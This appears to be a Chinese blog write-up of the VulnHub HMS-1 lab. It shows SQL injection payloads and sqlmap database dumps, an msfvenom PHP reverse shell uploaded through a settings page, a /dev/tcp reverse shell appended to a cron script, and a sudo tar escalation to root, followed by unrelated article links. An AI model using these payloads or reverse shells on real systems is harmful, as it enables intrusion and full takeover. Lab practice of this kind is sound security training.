『vulnhub系列』HMS?-1

下载地址:

https://www.vulnhub.com/entry/hms-1,728/

信息搜集:

使用nmap进行存活主机探测,发现开启了21端口(ftp)和22端口(ssh)

匿名登录ftp看看里面有什么东西,发现什么都没有

ftp 192.168.199.133
#使用anonymous登录,无需输入密码

进行全面扫描,发现开启了7080端口

nmap 192.168.199.133 -p 1-65535

访问7080端口的服务发现存在一个登录页面

使用dirsearch进行目录扫描

dirsearch -u "http://192.168.199.133:7080/"

在登录页面查看是否存在sql注入,发现确实存在,一个报错注入一个盲注

sqlmsqlmap -u http://192.168.199.133:7080/login.php --data="user=admin&email=admin%40123&password=asd&btn_login="

查看数据库

sqlmap -u http://192.168.199.133:7080/login.php --data="user=admin&email=admin%40123&password=asd&btn_login=" --dbs

查看数据库中的表

sqlmap -u http://192.168.199.133:7080/login.php --data="user=admin&email=admin%40123&password=asd&btn_login=" -D 'clinic_db' --tables

查看admin表中的字段,发现邮箱为 ndbhalerao91@gmail.com ,但是我们发现密码并不是明文

sqlmap -u http://192.168.199.133:7080/login.php --data="user=admin&email=admin%40123&password=asd&btn_login=" -D 'clinic_db' -T 'admin' --dump

漏洞利用:

我们之前发现,是存在报错注入的并且看payload是通过单引号闭合的

 Payload: user=admin&email=admin@123' OR (SELECT 9709 FROM(SELECT COUNT(*),CONCAT(0x7170707671,(SELECT (ELT(9709=9709,1))),0x716b706b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- nnPx&password=asd&btn_login=

我们使用万能密码发现带有前端验证

我们使用burp抓包,使用Repeater确认一下,发现Login Successfully

user=admin&email=ndbhalerao91%40gmail.com' or 1=1 #&password=asd&btn_login=

我们放包,登录成功

找了半天,没有发现什么地方可疑,我们再使用另一个工具扫描一下目录,因为并没有登录,所以这些302的跳转页面,其实也是存在的

gobuster dir -u "http://192.168.199.133:7080/" -w /usr/share/wordlists/dirb/big.txt -x .php

我们发现了setting页面,存在文件上传页面。上传使用msfvenom 生成的反弹shell

msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.199.129 lport=4444 -o re_shell.php

然后发现上面出现了一串图片

新标签页访问,发现新的目录/uploadImage

最后在/uploadImage/Logo/ 中发现我们的re_shell.php

此时在我们的攻击机开启监听

msfconsole
use exploit/multi/handler
set lhost 192.168.199.133
set payload php/meterpreter/reverse_tcp
run

反弹成功

提升权限:

查看具有SUID权限的命令,发现/usr/bin/bash我们可以借此切换用户

find / -perm -u=s -type f 2>/dev/null

使用命令,成功切换为eren 用户

/usr/bin/bash -p

但是使用命令sudo -l发现还是要输入密码,因此此时我们的eren用户的权限并不完整

我们查看计划任务

cat /etc/crontab

发现一条计划任务*/5 * * * * eren /home/eren/backup.sh

关于计划任务:
* * * * *
分 时 日 月 周
而对于这条命令意思就是每五分钟执行一次
*/5 * * * * eren /home/eren//backup.sh

可以看到这个文件正好早eren的家目录下。那么我们刚刚切换为eren用户的操作就可以用到了,使用eren权限我们将反弹shell写入/backup.sh

 echo "bash -i >& /dev/tcp/192.168.199.129/7777 0>&1" >> /home/eren/backup.sh

之后在攻击机使用nc等待

nc -lvp 7777

连接成功,获得完整的eren用户权限

使用命令sudo -l 查看用户可以在机器上运行的命令,发现tar命令可以以root权限执行

现在我们使用tar的sudo提权

sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
  • -cf /dev/null /dev/null 将/dev/null 打包为 /dev/null
  • -c 打包
  • -f 打包为f后面的名字
  • --checkpoint=1 每打包一个文件就到达一个检查点
  • --checkpoint-action=exec=/bin/sh 到达检查点后执行的命令

获得root权限

成果:

/home/nivek/local.txt

3bbf8c168408f1d5ff9dfd91fc00d0c1

/root/root.txt

299c10117c1940f21b70a391ca125c5d

『vulnhub系列』HMS-1的更多相关文章

  1. 『GreenPlum系列』GreenPlum 4节点集群安装(图文教程)

      目标架构如上图   一.硬件评估 cpu主频,核数推荐CPU核数与磁盘数的比例在12:12以上Instance上执行时只能利用一个CPU核资源进行计算,推荐高主频 内存容量 网络带宽重分布操作 R ...

  2. Istio 运维实战系列(2):让人头大的『无头服务』-上

    本系列文章将介绍用户从 Spring Cloud,Dubbo 等传统微服务框架迁移到 Istio 服务网格时的一些经验,以及在使用 Istio 过程中可能遇到的一些常见问题的解决方法. 什么是『无头服 ...

  3. Istio 运维实战系列(3):让人头大的『无头服务』-下

    本系列文章将介绍用户从 Spring Cloud,Dubbo 等传统微服务框架迁移到 Istio 服务网格时的一些经验,以及在使用 Istio 过程中可能遇到的一些常见问题的解决方法. 失败的 Eur ...

  4. 『高性能模型』HetConv: HeterogeneousKernel-BasedConvolutionsforDeepCNNs

    论文地址:HetConv 一.现有网络加速技术 1.卷积加速技术 作者对已有的新型卷积划分如下:标准卷积.Depthwise 卷积.Pointwise 卷积.群卷积(相关介绍见『高性能模型』深度可分离 ...

  5. 『TensorFlow Internals』笔记_源码结构

    零.资料集合 知乎专栏:Bob学步 知乎提问:如何高效的学习 TensorFlow 代码?. 大佬刘光聪(Github,简书) 开源书:TensorFlow Internals,强烈推荐(本博客参考书 ...

  6. 『深度应用』NLP机器翻译深度学习实战课程·壹(RNN base)

    深度学习用的有一年多了,最近开始NLP自然处理方面的研发.刚好趁着这个机会写一系列NLP机器翻译深度学习实战课程. 本系列课程将从原理讲解与数据处理深入到如何动手实践与应用部署,将包括以下内容:(更新 ...

  7. 关于『进击的Markdown』:第一弹

    关于『进击的Markdown』:第一弹 建议缩放90%食用 比起隐蔽物下的狙击手,Markdown更像冲锋陷阵的阵头兵 简单.粗暴.直接.而且好上手 各位晚上好! 早饭吃了吗您 我 今 天 没 吃 M ...

  8. 关于『进击的Markdown』:第五弹

    关于『进击的Markdown』:第五弹 建议缩放90%食用 路漫漫其修远兮,吾将上下而求索.  我们要接受Mermaid的考验了呢  Markdown 语法真香(一如既往地安利) ( 进击吧!Mark ...

  9. 关于『进击的Markdown』:第四弹

    关于『进击的Markdown』:第四弹 建议缩放90%食用 美人鱼(Mermaid)悄悄的来,又悄悄的走,挥一挥匕首,不留一个活口 又是漫漫画图路... 女士们先生们,大家好!  我们要接受Markd ...

  10. 关于『进击的Markdown』:第三弹

    关于『进击的Markdown』:第三弹 建议缩放90%食用 我与神明画押,赌这弹markdown又双叒叕拖稿了 %%%Markdown!我的CSDN编辑器崩了呜呜呜 各路英雄豪杰,大家好!  我们要开 ...

随机推荐

  1. HouseParty原创故事全角色关系及主线剧情介绍(最新版)

    这是原创故事的主要的角色的主线及支线剧情的介绍及攻略和注意事项等. 这里的图比哔哩哔哩上的图清楚一点,哔哩哔哩同号:宅猫君007 以上是全角色的关系图 最新版本的游戏下载就在我的网站上:https:/ ...

  2. Android Framework学习之系统启动流程

    最近抽空看了framework一些内存,总结一下,留作后续回顾复习

  3. k8s快捷命令

    查看node使用率: for i in `kubectl get nodes|awk '{print $1}'|sed '1d'`;do  echo "=========>" ...

  4. python openstacksdk

    调用方法 参考地址 https://github.com/openstack/openstacksdk 注意事项 1.需要安装openstacksdk.我这里装的好像是1.5版本的.opentask接 ...

  5. wxdown 公众号离线文章保存(GO语言开发)

    简介 本来一开始用 nodejs 写的,考虑大小.易操作.高性能.跨平台以及环境等问题,我就想能不能搞个不需依赖开发语言环境就能运行的.所以我就选择 go并且它本身就具备以上优点.作者本身是java开 ...

  6. 干货 springcloud之 poenFeign的使用

    PoenFeign集成到springcloud项目中 先创建一个springboot项目 这里就不多说了 application.yml文件: server: port: 8082spring: ap ...

  7. Hive笔记01

    hive如何实现两个区域人均利润一样的时候,排名一样,出现1.2.2.3.4,这种重复排名的情况? 方案一 在Hive中,可以使用窗口函数和排名函数来实现重复排名的情况.具体步骤如下: 使用窗口函数计 ...

  8. 一文读懂Spring的SPI机制

    一. 从类加载说起 Java中的类加载器负载加载来自文件系统.网络或者其他来源的类文件.jvm的类加载器默认使用的是双亲委派模式.三种默认的类加载器Bootstrap ClassLoader.Exte ...

  9. request to https://registry.npm.taobao.org/cnpm failed, reason: certificate has expired

    换华为的,否则会出问题:cnpm confg set registry https://mirrors.huaweicloud.com/repository/npm/ npm ERR! code CE ...

  10. Swift全局变量的线程安全分析

    一.示例代码 import UIKit let obj = TestObj() class TestObj { init() { print("\(type(of: self)) init& ...